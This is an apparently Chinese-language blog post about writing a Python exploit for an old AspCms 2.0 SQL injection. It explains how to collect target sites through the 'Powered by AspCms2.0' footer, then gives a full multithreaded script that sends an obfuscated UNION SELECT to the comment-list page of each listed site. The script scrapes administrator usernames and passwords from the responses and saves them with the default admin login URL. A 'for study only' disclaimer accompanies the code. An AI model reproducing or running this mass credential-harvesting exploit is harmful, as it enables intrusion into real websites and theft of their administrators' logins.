最近在学习python的时候学到request库和正则表达,无意中看到很多年前的aspcms2.0的漏洞利用,
想着学了python能不能写个exp。
aspcms2.0的漏洞是一个比较老的漏洞了
首先利用url采集,采集关键字:Powered by AspCms2.0
采集到之后右击导出,编写exp程序,原理就是利用request库请求漏洞地址
在返回的包中利用正则表达式提取出账号密码,然后导出到文件
这是exp执行的的结果
但是有些网站后台改了,exp执行的结果是默认后台能打开的才能导出
exp如下:
#!/usr/bin/python # -*- coding: UTF-8 -*- ''' 作者:木尤 本程序是ASP_CMS2.0的0dayexp 网址放在OK.txt文件里面,一行一个 等待程序执行完毕会导出存在的网址 需要安装requests和threadpool库 本程序仅用于学习交流,请在下载后24内删除,请勿用于非法途径,造成的后果与本人无关 ''' import requests,re,threadpool from urllib.parse import urlparse f=open('success.txt','w+') lists=[] def exp(u): #漏洞exp exp="/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user" #默认后台 ad="/admin/login.asp" url=u +exp url2=u+ad try: #访问exp res=requests.get(url,timeout=3) #访问默认后台 res1=requests.get(u+ad,timeout=3) #判断默认后台是否可以打开 if res1.status_code==200: #判断exp是否存在 if res.status_code==200 and 'IP' in res.text: print(u) html=res.text #提取账号密码 users=re.search('评论者:(.*) IP',html) passd=re.search('"line2">(.*)</div>',html) print('username:',users.group(1)) print('password:',passd.group(1)) #写入文件 f.write(url2+'\n'+'username:'+users.group(1)+'\n'+'passwrod:'+passd.group(1)+'\n') except: pass #url.txt为需要采集的url,跟本脚本在同一目录下面 for us in open('url.txt','r'): ur=us.strip() urs = 'http://'+urlparse(ur).netloc #exp(urs) lists.append(urs) #多线程,30为线程数 pool=threadpool.ThreadPool(30) reqs=threadpool.makeRequests(exp,lists) [pool.putRequest(req) for req in reqs] pool.wait() f.close()